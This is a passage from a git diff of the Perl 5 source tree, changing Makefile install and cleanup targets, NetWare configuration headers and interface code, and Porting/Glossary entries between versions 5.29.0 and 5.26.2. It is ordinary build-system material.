Configure could ask for some of these values. +install.html: all installhtml + -@test -f README.vms && cd vms && $(LNS) ../README.vms README_vms.pod && cd .. + $(HOST_PERL) installhtml \ + --podroot=. --podpath=. --recurse \ + --htmldir=$(privlib)/html \ + --htmlroot=$(privlib)/html \ + --splithead=pod/perlipc \ + --splititem=pod/perlfunc \ + --ignore=Porting/Maintainers.pm,Porting/pumpkin.pod,Porting/repository.pod \ + --verbose !NO!SUBS! else - LOCAL_PERL='$(RUN_PERL)' $spitshell >>$Makefile <<'!NO!SUBS!' install.perl: $(INSTALL_DEPENDENCE) installperl $(RUN_PERL) installperl --destdir=$(DESTDIR) $(INSTALLFLAGS) $(STRIPFLAGS) -@test ! -s extras.lst || PATH="`pwd`:\${PATH}" PERL5LIB="`pwd`/lib" \$(RUN_PERL) -Ilib -MCPAN -e '@ARGV&&install(@ARGV)' `cat extras.lst` -!NO!SUBS! -fi - -$spitshell >>$Makefile <>$Makefile <<'!NO!SUBS!' @@ -1278,6 +1266,10 @@ CHMOD_W = chmod +w # with your existing copy of perl # (make regen_headers is kept for backwards compatibility) +AUTOGEN_FILES = opcode.h opnames.h pp_proto.h proto.h embed.h embedvar.h \ + perlapi.h perlapi.c regnodes.h warnings.h lib/warnings.pm \ + lib/feature.pm feature.h + .PHONY: regen_headers regen_all regen: FORCE @@ -1420,24 +1412,23 @@ _cleaner2: -rmdir lib/Unicode/Collate/CJK lib/Unicode/Collate lib/Tie/Hash -rmdir lib/Thread lib/Text lib/Test2/Util lib/Test2/Tools -rmdir lib/Test2/IPC/Driver lib/Test2/IPC lib/Test2/Hub/Interceptor - -rmdir lib/Test2/Hub lib/Test2/Formatter lib/Test2/EventFacet - -rmdir lib/Test2/Event/TAP lib/Test2/Event lib/Test2/API lib/Test2 - -rmdir lib/Test/use lib/Test/Tester lib/Test/Builder/Tester - -rmdir lib/Test/Builder/IO lib/Test/Builder lib/Test lib/Term - -rmdir lib/TAP/Parser/YAMLish lib/TAP/Parser/SourceHandler - -rmdir lib/TAP/Parser/Scheduler lib/TAP/Parser/Result - -rmdir lib/TAP/Parser/Iterator lib/TAP/Parser lib/TAP/Harness - -rmdir lib/TAP/Formatter/File lib/TAP/Formatter/Console - -rmdir lib/TAP/Formatter lib/TAP lib/Sys/Syslog lib/Sys lib/Sub - -rmdir lib/Search lib/Scalar lib/Pod/Text lib/Pod/Simple - -rmdir lib/Pod/Perldoc lib/PerlIO/via lib/PerlIO lib/Perl - -rmdir lib/Parse/CPAN lib/Parse lib/Params lib/Net/FTP lib/Module/Load - -rmdir lib/Module/CoreList lib/Module lib/Memoize lib/Math/BigInt - -rmdir lib/Math/BigFloat lib/Math lib/MIME lib/Locale/Maketext - -rmdir lib/Locale/Codes lib/Locale lib/List/Util lib/List lib/JSON/PP - -rmdir lib/JSON lib/IPC lib/IO/Uncompress/Adapter lib/IO/Uncompress - -rmdir lib/IO/Socket lib/IO/Compress/Zlib lib/IO/Compress/Zip - -rmdir lib/IO/Compress/Gzip lib/IO/Compress/Base + -rmdir lib/Test2/Hub lib/Test2/Formatter lib/Test2/Event/TAP + -rmdir lib/Test2/Event lib/Test2/API lib/Test2 lib/Test/use + -rmdir lib/Test/Tester lib/Test/Builder/Tester lib/Test/Builder/IO + -rmdir lib/Test/Builder lib/Test lib/Term lib/TAP/Parser/YAMLish + -rmdir lib/TAP/Parser/SourceHandler lib/TAP/Parser/Scheduler + -rmdir lib/TAP/Parser/Result lib/TAP/Parser/Iterator lib/TAP/Parser + -rmdir lib/TAP/Harness lib/TAP/Formatter/File + -rmdir lib/TAP/Formatter/Console lib/TAP/Formatter lib/TAP + -rmdir lib/Sys/Syslog lib/Sys lib/Sub lib/Search lib/Scalar + -rmdir lib/Pod/Text lib/Pod/Simple lib/Pod/Perldoc lib/PerlIO/via + -rmdir lib/PerlIO lib/Perl lib/Parse/CPAN lib/Parse lib/Params + -rmdir lib/Net/FTP lib/Module/Load lib/Module/CoreList lib/Module + -rmdir lib/Memoize lib/Math/BigInt lib/Math/BigFloat lib/Math lib/MIME + -rmdir lib/Locale/Maketext lib/Locale/Codes lib/Locale lib/List/Util + -rmdir lib/List lib/JSON/PP lib/JSON lib/IPC lib/IO/Uncompress/Adapter + -rmdir lib/IO/Uncompress lib/IO/Socket lib/IO/Compress/Zlib + -rmdir lib/IO/Compress/Zip lib/IO/Compress/Gzip lib/IO/Compress/Base -rmdir lib/IO/Compress/Adapter lib/IO/Compress lib/IO -rmdir lib/I18N/LangTags lib/I18N lib/Hash/Util lib/Hash lib/HTTP -rmdir lib/Filter/Util lib/Filter lib/File/Spec lib/ExtUtils/Typemaps @@ -1524,7 +1515,7 @@ test_prep_pre: preplibrary utilities $(nonxs_ext) case "$targethost" in '') $spitshell >>$Makefile <<'!NO!SUBS!' test_prep test-prep: test_prep_pre $(MINIPERL_EXE) $(unidatafiles) $(PERL_EXE) \ - $(dynamic_ext) $(TEST_PERL_DLL) runtests $(generated_pods) common_build + $(dynamic_ext) $(TEST_PERL_DLL) runtests $(generated_pods) cd t && (rm -f $(PERL_EXE); $(LNS) ../$(PERL_EXE) $(PERL_EXE)) !NO!SUBS! @@ -1532,7 +1523,7 @@ test_prep test-prep: test_prep_pre $(MINIPERL_EXE) $(unidatafiles) $(PERL_EXE) \ *) $spitshell >>$Makefile <>$Makefile <>$Makefile <<'!NO!SUBS!' - # Handy way to run perlbug -ok without having to install and run the # installed perlbug. We don't re-run the tests here - we trust the user. # Please *don't* use this unless all tests pass. diff --git a/Makefile.micro b/Makefile.micro index e1e56b823206..a697e16901aa 100644 --- a/Makefile.micro +++ b/Makefile.micro @@ -1,6 +1,7 @@ LD = $(CC) CCFLAGS = -c -DEFINES = -DPERL_CORE -DPERL_MICRO -DPERL_USE_SAFE_PUTENV -DNO_MATHOMS +DEFINES = -DPERL_CORE -DPERL_MICRO -DSTANDARD_C -DPERL_USE_SAFE_PUTENV \ + -DNO_MATHOMS OPTIMIZE = CFLAGS = $(DEFINES) $(OPTIMIZE) LDFLAGS = diff --git a/NetWare/Makefile b/NetWare/Makefile index dfdfe8f2382f..6eb0f5b3c9b2 100644 --- a/NetWare/Makefile +++ b/NetWare/Makefile @@ -86,7 +86,7 @@ NLM_VERSION = 3,20,0 # Here comes the CW tools - TO BE FILLED TO BUILD WITH CW - -MODULE_DESC = "Perl 5.29.0 for NetWare" +MODULE_DESC = "Perl 5.26.2 for NetWare" CCTYPE = CodeWarrior C_COMPILER = mwccnlm -c CPP_COMPILER = mwccnlm @@ -462,7 +462,7 @@ INST_NW_TOP2 = $(INST_NW_DRV)\perl # versioned installation can be obtained by setting INST_TOP above to a # path that includes an arbitrary version string. # -INST_VER = \5.29.0 +INST_VER = \5.26.2 # # Comment this out if you DON'T want your perl installation to have diff --git a/NetWare/config.wc b/NetWare/config.wc index 2bd9bff5a236..3150bcbf17cf 100644 --- a/NetWare/config.wc +++ b/NetWare/config.wc @@ -18,6 +18,7 @@ _nlp='.nlp' _o='.obj' afs='false' alignbytes='8' +ansi2knr='' aphostname='' api_revision='~PERL_API_REVISION~' api_subversion='~PERL_API_SUBVERSION~' @@ -90,7 +91,6 @@ d_PRIu64='undef' d_PRIx64='undef' d_SCNfldbl='undef' d__fwalk='undef' -d_accept4='undef' d_access='define' d_accessx='undef' d_acosh='undef' @@ -112,18 +112,19 @@ d_attribute_pure='undef' d_attribute_unused='undef' d_attribute_warn_unused_result='undef' d_backtrace='undef' +d_bcmp='undef' +d_bcopy='undef' d_bsd='define' d_bsdgetpgrp='undef' d_bsdsetpgrp='undef' -d_builtin_add_overflow='undef' d_builtin_choose_expr='undef' d_builtin_expect='undef' -d_builtin_mul_overflow='undef' -d_builtin_sub_overflow='undef' +d_bzero='undef' d_c99_variadic_macros='undef' d_casti32='undef' d_castneg='define' d_cbrt='undef' +d_charvspr='undef' d_chown='undef' d_chroot='undef' d_chsize='define' @@ -166,8 +167,6 @@ d_double_style_vax='undef' d_drand48_r='undef' d_drand48proto='undef' d_dup2='define' -d_dup3='undef' -d_duplocale='undef' d_eaccess='undef' d_endgrent='undef' d_endgrent_r='undef' @@ -191,7 +190,6 @@ d_expm1='undef' d_faststdio='undef' d_fchdir='undef' d_fchmod='undef' -d_fchmodat='undef' d_fchown='undef' d_fcntl='undef' d_fcntl_can_lock='undef' @@ -333,12 +331,10 @@ d_lgamma='undef' d_lgamma_r='undef' d_libm_lib_version='undef' d_link='define' -d_linkat='undef' d_llrint='undef' d_llrintl='undef' d_llround='undef' d_llroundl='undef' -d_localeconv_l='undef' d_localtime64='undef' d_localtime_r='undef' d_localtime_r_needs_tzset='undef' @@ -364,16 +360,17 @@ d_madvise='undef' d_malloc_good_size='undef' d_malloc_size='undef' d_mblen='define' -d_mbrlen='undef' -d_mbrtowc='undef' d_mbstowcs='define' d_mbtowc='define' +d_memchr='define' +d_memcmp='define' +d_memcpy='define' d_memmem='undef' -d_memrchr='undef' +d_memmove='define' +d_memset='define' d_mkdir='define' d_mkdtemp='undef' d_mkfifo='undef' -d_mkostemp='undef' d_mkstemp='undef' d_mkstemps='undef' d_mktime64='undef' @@ -398,7 +395,6 @@ d_msync='undef' d_munmap='undef' d_mymalloc='undef' d_nan='undef' -d_nanosleep='undef' d_ndbm_h_uses_prototypes='undef' d_nearbyint='undef' d_newlocale='undef' @@ -413,12 +409,10 @@ d_old_pthread_create_joinable='undef' d_oldpthreads='undef' d_oldsock='undef' d_open3='undef' -d_openat='undef' d_pathconf='undef' d_pause='undef' d_perl_otherlibdirs='undef' d_phostname='undef' -d_pipe2='undef' d_pipe='define' d_poll='undef' d_portable='define' @@ -453,11 +447,13 @@ d_regcomp='undef' d_remainder='undef' d_remquo='undef' d_rename='define' -d_renameat='undef' d_rewinddir='define' d_rint='undef' d_rmdir='define' d_round='undef' +d_safebcpy='undef' +d_safemcpy='undef' +d_sanemcmp='define' d_sbrkproto='undef' d_scalbn='undef' d_scalbnl='undef' @@ -533,6 +529,7 @@ d_socket='define' d_socklen_t='undef' d_sockpair='undef' d_socks5_init='undef' +d_sprintf_returns_strlen='undef' d_sqrtl='undef' d_srand48_r='undef' d_srandom_r='undef' @@ -551,18 +548,19 @@ d_stdio_ptr_lval_sets_cnt='undef' d_stdio_stream_array='undef' d_stdiobase='undef' d_stdstdio='undef' +d_strchr='define' d_strcoll='define' +d_strctcpy='define' +d_strerrm='strerror(e)' +d_strerror='define' d_strerror_l='undef' d_strerror_r='undef' d_strftime='define' d_strlcat='undef' d_strlcpy='undef' -d_strnlen='undef' d_strtod='define' -d_strtod_l='undef' d_strtol='define' d_strtold='undef' -d_strtold_l='undef' d_strtoll='undef' d_strtoq='undef' d_strtoul='define' @@ -582,7 +580,6 @@ d_tcsetpgrp='undef' d_telldir='define' d_telldirproto='define' d_tgamma='undef' -d_thread_safe_nl_langinfo_l='undef' d_time='define' d_timegm='undef' d_times='undef' @@ -599,7 +596,6 @@ d_ualarm='undef' d_umask='define' d_uname='define' d_union_semun='define' -d_unlinkat='undef' d_unordered='undef' d_unsetenv='undef' d_uselocale='undef' @@ -613,6 +609,8 @@ d_vfork='undef' d_void_closedir='undef' d_voidsig='define' d_voidtty='' +d_volatile='define' +d_vprintf='define' d_vsnprintf='undef' d_wait4='undef' d_waitpid='define' @@ -714,6 +712,7 @@ i64type='__int64' i8size='1' i8type='char' i_arpainet='define' +i_assert='define' i_bfd='undef' i_bsdioctl='' i_crypt='undef' @@ -724,6 +723,7 @@ i_dlfcn='define' i_execinfo='undef' i_fcntl='define' i_fenv='undef' +i_float='define' i_fp='undef' i_fp_class='undef' i_gdbm='undef' @@ -734,10 +734,13 @@ i_ieeefp='undef' i_inttypes='undef' i_langinfo='undef' i_libutil='undef' +i_limits='define' i_locale='define' i_machcthr='undef' i_malloc='define' i_mallocmalloc='undef' +i_math='define' +i_memory='undef' i_mntent='undef' i_ndbm='undef' i_netdb='define' @@ -753,9 +756,12 @@ i_rpcsvcdbm='define' i_sgtty='undef' i_shadow='undef' i_socks='undef' +i_stdarg='define' i_stdbool='define' +i_stddef='define' i_stdint='undef' i_stdlib='define' +i_string='define' i_sunmath='undef' i_sysaccess='undef' i_sysdir='undef' @@ -792,8 +798,10 @@ i_time='define' i_unistd='undef' i_ustat='undef' i_utime='define' +i_values='undef' +i_varargs='undef' +i_varhdr='varargs.h' i_vfork='undef' -i_wchar='undef' i_xlocale='undef' ignore_versioned_solibs='' inc_version_list='' @@ -1116,6 +1124,7 @@ uvsize='4' uvtype='unsigned long' uvuformat='"lu"' uvxformat='"lx"' +vaproto='undef' vendorarch='' vendorarchexp='' vendorbin='' diff --git a/NetWare/config_H.wc b/NetWare/config_H.wc index 73eae8d5337c..988b4a923837 100644 --- a/NetWare/config_H.wc +++ b/NetWare/config_H.wc @@ -50,6 +50,24 @@ #define __attribute__(_arg_) #endif +/* HAS_BCMP: + * This symbol is defined if the bcmp() routine is available to + * compare blocks of memory. + */ +/*#define HAS_BCMP /**/ + +/* HAS_BCOPY: + * This symbol is defined if the bcopy() routine is available to + * copy blocks of memory. + */ +/*#define HAS_BCOPY /**/ + +/* HAS_BZERO: + * This symbol is defined if the bzero() routine is available to + * set a memory block to 0. + */ +/*#define HAS_BZERO /**/ + /* HAS_CHOWN: * This symbol, if defined, indicates that the chown routine is * available. @@ -91,6 +109,14 @@ */ /*#define HAS_CUSERID /**/ +/* HAS_DBL_DIG: + * This symbol, if defined, indicates that this system's + * or defines the symbol DBL_DIG, which is the number + * of significant digits in a double precision number. If this + * symbol is not defined, a guess of 15 is usually pretty good. + */ +#define HAS_DBL_DIG /**/ + /* HAS_DIFFTIME: * This symbol, if defined, indicates that the difftime routine is * available. @@ -269,6 +295,32 @@ */ #define HAS_MBTOWC /**/ +/* HAS_MEMCMP: + * This symbol, if defined, indicates that the memcmp routine is available + * to compare blocks of memory. + */ +#define HAS_MEMCMP /**/ + +/* HAS_MEMCPY: + * This symbol, if defined, indicates that the memcpy routine is available + * to copy blocks of memory. + */ +#define HAS_MEMCPY /**/ + +/* HAS_MEMMOVE: + * This symbol, if defined, indicates that the memmove routine is available + * to copy potentially overlapping blocks of memory. This should be used + * only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your + * own version. + */ +#define HAS_MEMMOVE /**/ + +/* HAS_MEMSET: + * This symbol, if defined, indicates that the memset routine is available + * to set blocks of memory. + */ +#define HAS_MEMSET /**/ + /* HAS_MKDIR: * This symbol, if defined, indicates that the mkdir routine is available * to create directories. Otherwise you should fork off a new process to @@ -493,12 +545,31 @@ #define Shmat_t void * /**/ /*#define HAS_SHMAT_PROTOTYPE /**/ +/* HAS_STRCHR: + * This symbol is defined to indicate that the strchr()/strrchr() + * functions are available for string searching. If not, try the + * index()/rindex() pair. + */ +/* HAS_INDEX: + * This symbol is defined to indicate that the index()/rindex() + * functions are available for string searching. + */ +#define HAS_STRCHR /**/ +/*#define HAS_INDEX /**/ + /* HAS_STRCOLL: * This symbol, if defined, indicates that the strcoll routine is * available to compare strings using collating information. */ #define HAS_STRCOLL /**/ +/* USE_STRUCT_COPY: + * This symbol, if defined, indicates that this C compiler knows how + * to copy structures. If undefined, you'll need to use a block copy + * routine of some sort instead. + */ +#define USE_STRUCT_COPY /**/ + /* HAS_STRTOD: * This symbol, if defined, indicates that the strtod routine is * available to provide better numeric string conversion than atof(). @@ -577,6 +648,15 @@ */ /*#define HAS_USLEEP /**/ +/* HASVOLATILE: + * This symbol, if defined, indicates that this C compiler knows about + * the volatile declaration. + */ +#define HASVOLATILE /**/ +#ifndef HASVOLATILE +#define volatile +#endif + /* HAS_WAIT4: * This symbol, if defined, indicates that wait4() exists. */ @@ -606,6 +686,12 @@ */ #define I_ARPA_INET /**/ +/* I_ASSERT: + * This symbol, if defined, indicates to the C program that it could + * include to get the assert() macro. + */ +#define I_ASSERT /**/ + /* I_DBM: * This symbol, if defined, indicates that exists and should * be included. @@ -648,12 +734,38 @@ */ #define I_FCNTL /**/ +/* I_FLOAT: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like DBL_MAX or + * DBL_MIN, i.e. machine dependent floating point values. + */ +#define I_FLOAT /**/ + +/* I_LIMITS: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like WORD_BIT or + * LONG_MAX, i.e. machine dependant limitations. + */ +#define I_LIMITS /**/ + /* I_LOCALE: * This symbol, if defined, indicates to the C program that it should * include . */ #define I_LOCALE /**/ +/* I_MATH: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +#define I_MATH /**/ + +/* I_MEMORY: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +/*#define I_MEMORY /**/ + /* I_NDBM: * This symbol, if defined, indicates that exists and should * be included. @@ -672,6 +784,24 @@ */ #define I_NETINET_IN /**/ +/* I_STDDEF: + * This symbol, if defined, indicates that exists and should + * be included. + */ +#define I_STDDEF /**/ + +/* I_STDLIB: + * This symbol, if defined, indicates that exists and should + * be included. + */ +#define I_STDLIB /**/ + +/* I_STRING: + * This symbol, if defined, indicates to the C program that it should + * include (USG systems) instead of (BSD systems). + */ +#define I_STRING /**/ + /* I_SYS_DIR: * This symbol, if defined, indicates to the C program that it should * include . @@ -781,12 +911,26 @@ */ #define I_UTIME /**/ +/* I_VALUES: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like MINFLOAT or + * MAXLONG, i.e. machine dependant limitations. Probably, you + * should use instead, if it is available. + */ +/*#define I_VALUES /**/ + /* I_VFORK: * This symbol, if defined, indicates to the C program that it should * include vfork.h. */ /*#define I_VFORK /**/ +/* CAN_PROTOTYPE: + * If defined, this macro indicates that the C compiler can handle + * function prototypes. + */ +#define CAN_PROTOTYPE /**/ + /* SH_PATH: * This symbol contains the full pathname to the shell used on this * on this system to execute Bourne shell scripts. Usually, this will be @@ -898,7 +1042,7 @@ * This symbol contains the ~name expanded version of ARCHLIB, to be used * in programs that are not prepared to deal with ~ expansion at run-time. */ -#define ARCHLIB "c:\\perl\\5.29.0\\lib\\NetWare-x86-multi-thread" /**/ +#define ARCHLIB "c:\\perl\\5.26.2\\lib\\NetWare-x86-multi-thread" /**/ /*#define ARCHLIB_EXP "" /**/ /* ARCHNAME: @@ -929,8 +1073,8 @@ * This symbol is the filename expanded version of the BIN symbol, for * programs that do not want to deal with that at run-time. */ -#define BIN "c:\\perl\\5.29.0\\bin\\NetWare-x86-multi-thread" /**/ -#define BIN_EXP "c:\\perl\\5.29.0\\bin\\NetWare-x86-multi-thread" /**/ +#define BIN "c:\\perl\\5.26.2\\bin\\NetWare-x86-multi-thread" /**/ +#define BIN_EXP "c:\\perl\\5.26.2\\bin\\NetWare-x86-multi-thread" /**/ /* BYTEORDER: * This symbol holds the hexadecimal constant defined in byteorder, @@ -1554,6 +1698,12 @@ */ /*#define HAS_MADVISE /**/ +/* HAS_MEMCHR: + * This symbol, if defined, indicates that the memchr routine is available + * to locate characters within a C string. + */ +#define HAS_MEMCHR /**/ + /* HAS_MKDTEMP: * This symbol, if defined, indicates that the mkdtemp routine is * available to exclusively create a uniquely named temporary directory. @@ -1671,6 +1821,29 @@ */ /*#define HAS_RECVMSG /**/ +/* HAS_SAFE_BCOPY: + * This symbol, if defined, indicates that the bcopy routine is available + * to copy potentially overlapping memory blocks. Otherwise you should + * probably use memmove() or memcpy(). If neither is defined, roll your + * own version. + */ +/*#define HAS_SAFE_BCOPY /**/ + +/* HAS_SAFE_MEMCPY: + * This symbol, if defined, indicates that the memcpy routine is available + * to copy potentially overlapping memory blocks. Otherwise you should + * probably use memmove() or memcpy(). If neither is defined, roll your + * own version. + */ +/*#define HAS_SAFE_MEMCPY /**/ + +/* HAS_SANE_MEMCMP: + * This symbol, if defined, indicates that the memcmp routine is available + * and can be used to compare relative magnitudes of chars with their high + * bits set. If it is not defined, roll your own version. + */ +#define HAS_SANE_MEMCMP /**/ + /* HAS_SBRK_PROTO: * This symbol, if defined, indicates that the system provides * a prototype for the sbrk() function. Otherwise, it is up @@ -1960,12 +2133,24 @@ #define FILE_bufsiz(fp) ((fp)->_cnt + (fp)->_ptr - (fp)->_base) #endif +/* HAS_STRERROR: + * This symbol, if defined, indicates that the strerror routine is + * available to translate error numbers to strings. See the writeup + * of Strerror() in this file before you try to define your own. + */ /* HAS_SYS_ERRLIST: * This symbol, if defined, indicates that the sys_errlist array is * available to translate error numbers to strings. The extern int * sys_nerr gives the size of that table. */ +/* Strerror: + * This preprocessor symbol is defined as a macro if strerror() is + * not available to translate error numbers to strings but sys_errlist[] + * array is there. + */ +#define HAS_STRERROR /**/ #define HAS_SYS_ERRLIST /**/ +#define Strerror(e) strerror(e) /* HAS_STRTOLD: * This symbol, if defined, indicates that the strtold routine is @@ -2072,6 +2257,20 @@ */ #define Signal_t void /* Signal handler's return type */ +/* HAS_VPRINTF: + * This symbol, if defined, indicates that the vprintf routine is available + * to printf with a pointer to an argument list. If unavailable, you + * may need to write your own, probably in terms of _doprnt(). + */ +/* USE_CHAR_VSPRINTF: + * This symbol is defined if this system has vsprintf() returning type + * (char*). The trend seems to be to declare it as "int vsprintf()". It + * is up to the package author to declare vsprintf correctly based on the + * symbol. + */ +#define HAS_VPRINTF /**/ +/*#define USE_CHAR_VSPRINTF /**/ + /* HAS_WRITEV: * This symbol, if defined, indicates that the writev routine is * available to do scatter writes. @@ -2889,7 +3088,7 @@ * This symbol contains the ~name expanded version of SITEARCH, to be used * in programs that are not prepared to deal with ~ expansion at run-time. */ -#define SITEARCH "c:\\perl\\site\\5.29.0\\lib\\NetWare-x86-multi-thread" /**/ +#define SITEARCH "c:\\perl\\site\\5.26.2\\lib\\NetWare-x86-multi-thread" /**/ /*#define SITEARCH_EXP "" /**/ /* SITELIB: @@ -2912,7 +3111,7 @@ * removed. The elements in inc_version_list (inc_version_list.U) can * be tacked onto this variable to generate a list of directories to search. */ -#define SITELIB "c:\\perl\\site\\5.29.0\\lib" /**/ +#define SITELIB "c:\\perl\\site\\5.26.2\\lib" /**/ /*#define SITELIB_EXP "" /**/ #define SITELIB_STEM "" /**/ @@ -3143,6 +3342,17 @@ /*#define SETUID_SCRIPTS_ARE_SECURE_NOW /**/ /*#define DOSUID /**/ +/* I_STDARG: + * This symbol, if defined, indicates that exists and should + * be included. + */ +/* I_VARARGS: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +#define I_STDARG /**/ +/*#define I_VARARGS /**/ + /* USE_CROSS_COMPILE: * This symbol, if defined, indicates that Perl is being cross-compiled. */ diff --git a/NetWare/interface.c b/NetWare/interface.c index 1d298854c9f5..29a8dc0d243d 100644 --- a/NetWare/interface.c +++ b/NetWare/interface.c @@ -78,10 +78,10 @@ ClsPerlHost::PerlRun(PerlInterpreter *my_perl) return(perl_run(my_perl)); // Run Perl. } -int +void ClsPerlHost::PerlDestroy(PerlInterpreter *my_perl) { - return(perl_destruct(my_perl)); // Destructor for Perl. + perl_destruct(my_perl); // Destructor for Perl. } void @@ -148,18 +148,19 @@ int RunPerl(int argc, char **argv, char **env) { PL_perl_destruct_level = 0; - if(!nlm.PerlParse(my_perl, argc, argv, env)) + exitstatus = nlm.PerlParse(my_perl, argc, argv, env); + if(exitstatus == 0) { #if defined(TOP_CLONE) && defined(USE_ITHREADS) // XXXXXX testing new_perl = perl_clone(my_perl, 1); - (void) perl_run(new_perl); // Run Perl. + exitstatus = perl_run(new_perl); // Run Perl. PERL_SET_THX(my_perl); #else - (void) nlm.PerlRun(my_perl); + exitstatus = nlm.PerlRun(my_perl); #endif } - exitstatus = nlm.PerlDestroy(my_perl); + nlm.PerlDestroy(my_perl); } if(my_perl) nlm.PerlFree(my_perl); @@ -168,7 +169,7 @@ int RunPerl(int argc, char **argv, char **env) if (new_perl) { PERL_SET_THX(new_perl); - exitstatus = nlm.PerlDestroy(new_perl); + nlm.PerlDestroy(new_perl); nlm.PerlFree(my_perl); } #endif diff --git a/NetWare/interface.cpp b/NetWare/interface.cpp index b08d6c249eb9..aef71f9ffad6 100644 --- a/NetWare/interface.cpp +++ b/NetWare/interface.cpp @@ -69,12 +69,11 @@ ClsPerlHost::PerlRun(PerlInterpreter *my_perl) return(perl_run(my_perl)); // Run Perl. } -int +void ClsPerlHost::PerlDestroy(PerlInterpreter *my_perl) { - int ret = perl_destruct(my_perl); // Destructor for Perl. + perl_destruct(my_perl); // Destructor for Perl. //// perl_free(my_perl); // Free the memory allocated for Perl. - return(ret); } void @@ -143,7 +142,8 @@ int RunPerl(int argc, char **argv, char **env) { PL_perl_destruct_level = 0; - if(!nlm.PerlParse(my_perl, argc, argv, env)) + exitstatus = nlm.PerlParse(my_perl, argc, argv, env); + if(exitstatus == 0) { #if defined(TOP_CLONE) && defined(USE_ITHREADS) // XXXXXX testing # ifdef PERL_OBJECT @@ -164,13 +164,13 @@ int RunPerl(int argc, char **argv, char **env) new_perl = perl_clone(my_perl, 1); # endif - (void) perl_run(new_perl); // Run Perl. + exitstatus = perl_run(new_perl); // Run Perl. PERL_SET_THX(my_perl); #else - (void) nlm.PerlRun(my_perl); + exitstatus = nlm.PerlRun(my_perl); #endif } - exitstatus = nlm.PerlDestroy(my_perl); + nlm.PerlDestroy(my_perl); } if(my_perl) nlm.PerlFree(my_perl); @@ -179,7 +179,7 @@ int RunPerl(int argc, char **argv, char **env) if (new_perl) { PERL_SET_THX(new_perl); - exitstatus = nlm.PerlDestroy(new_perl); + nlm.PerlDestroy(new_perl); nlm.PerlFree(my_perl); } #endif diff --git a/NetWare/interface.h b/NetWare/interface.h index 2c9d46d75d53..98979937e34a 100644 --- a/NetWare/interface.h +++ b/NetWare/interface.h @@ -35,7 +35,7 @@ class ClsPerlHost : public IPerlHost int PerlCreate(PerlInterpreter *my_perl); int PerlParse(PerlInterpreter *my_perl, int argc, char** argv, char** env); int PerlRun(PerlInterpreter *my_perl); - int PerlDestroy(PerlInterpreter *my_perl); + void PerlDestroy(PerlInterpreter *my_perl); void PerlFree(PerlInterpreter *my_perl); //bool RegisterWithThreadTable(void); diff --git a/NetWare/iperlhost.h b/NetWare/iperlhost.h index fe3dab7a34ae..cc1754afb3df 100644 --- a/NetWare/iperlhost.h +++ b/NetWare/iperlhost.h @@ -33,7 +33,7 @@ class IPerlHost virtual int PerlCreate(PerlInterpreter *my_perl) = 0; virtual int PerlParse(PerlInterpreter *my_perl,int argc, char** argv, char** env) = 0; virtual int PerlRun(PerlInterpreter *my_perl) = 0; - virtual int PerlDestroy(PerlInterpreter *my_perl) = 0; + virtual void PerlDestroy(PerlInterpreter *my_perl) = 0; virtual void PerlFree(PerlInterpreter *my_perl) = 0; //virtual bool RegisterWithThreadTable(void)=0; diff --git a/PACKAGING b/PACKAGING deleted file mode 100644 index a603f6c5e369..000000000000 --- a/PACKAGING +++ /dev/null @@ -1,50 +0,0 @@ -If you read this file _as_is_, just ignore the funny characters you -see. It is written in the POD format (see pod/perlpod.pod) which is -specifically designed to be readable as is. - -=head1 NAME - -PACKAGING - notes and best practice for packaging perl 5 - -=head1 SYNOPSIS - -This document is aimed at anyone who is producing their own version of -perl for distribution to other users. It is intended as a collection -of useful tips, advice and best practice, rather than being a complete -packaging manual. The starting point for installing perl remains -F. - -=head1 Customizing test running - -A small number of porting tests (those in t/porting) are not well suited -to typical distribution packaging scenarios. For example, they assume -they are working in a git clone of the upstream Perl repository, or -enforce rules which are not relevant to downstream packagers. These can -be skipped by setting the environment variable PERL_BUILD_PACKAGING. -A complete list of tests which this applied to can be found by searching -the codebase for this string. - -An alternative strategy would be to skip all porting tests, but many of -them are useful if additional patches might be applied. - -=head1 Customizing patchlevel to advertise your local patches - -You can advertise your custom local patches by using patchlevel.h as a -standalone Perl script. - -=head2 Sample usage: - - perl -x patchlevel.h "This is a custom patch" - -=head1 Disabling known flapping tests - -Some tests could fail under heavy load, whereas in most cases -they would simply succeed. Usually, continuous integration systems -will at one point or the other reach that problem. - -To disable these known tests, please set the environment -variable CI to true. - - CI=true - -=cut diff --git a/Porting/Glossary b/Porting/Glossary index e9adc57685c7..a94eaabe8a64 100644 --- a/Porting/Glossary +++ b/Porting/Glossary @@ -41,6 +41,10 @@ alignbytes (alignbytes.U): double-- or a long double when applicable. Usual values are 2, 4 and 8. The default is eight, for safety. +ansi2knr (ansi2knr.U): + This variable is set if the user needs to run ansi2knr. + Currently, this is not supported, so we just abort. + aphostname (d_gethname.U): This variable contains the command which can be used to compute the host name. The command is fully qualified by its absolute path, to make @@ -393,10 +397,6 @@ d__fwalk (d__fwalk.U): This variable conditionally defines HAS__FWALK if _fwalk() is available to apply a function to all the file handles. -d_accept4 (d_accept4.U): - This variable conditionally defines HAS_ACCEPT4 if accept4() is - available to accept socket connections. - d_access (d_access.U): This variable conditionally defines HAS_ACCESS if the access() system call is available to check for access permissions using real IDs. @@ -495,6 +495,14 @@ d_backtrace (d_backtrace.U): indicates to the C program that the backtrace() routine is available to get a stack trace. +d_bcmp (d_bcmp.U): + This variable conditionally defines the HAS_BCMP symbol if + the bcmp() routine is available to compare strings. + +d_bcopy (d_bcopy.U): + This variable conditionally defines the HAS_BCOPY symbol if + the bcopy() routine is available to copy strings. + d_bsd (Guess.U): This symbol conditionally defines the symbol BSD when running on a BSD system. @@ -508,11 +516,6 @@ d_bsdsetpgrp (d_setpgrp.U): setpgrp needs two arguments whereas USG one needs none. See also d_setpgid for a POSIX interface. -d_builtin_add_overflow (d_builtin_overflow.U): - This variable conditionally defines HAS_BUILTIN_ADD_OVERFLOW, which - indicates that the compiler supports __builtin_add_overflow(x,y,&z) - for safely adding x and y into z while checking for overflow. - d_builtin_choose_expr (d_builtin.U): This conditionally defines HAS_BUILTIN_CHOOSE_EXPR, which indicates that the compiler supports __builtin_choose_expr(x,y,z). @@ -527,15 +530,9 @@ d_builtin_expect (d_builtin.U): __builtin_expect to provide the compiler 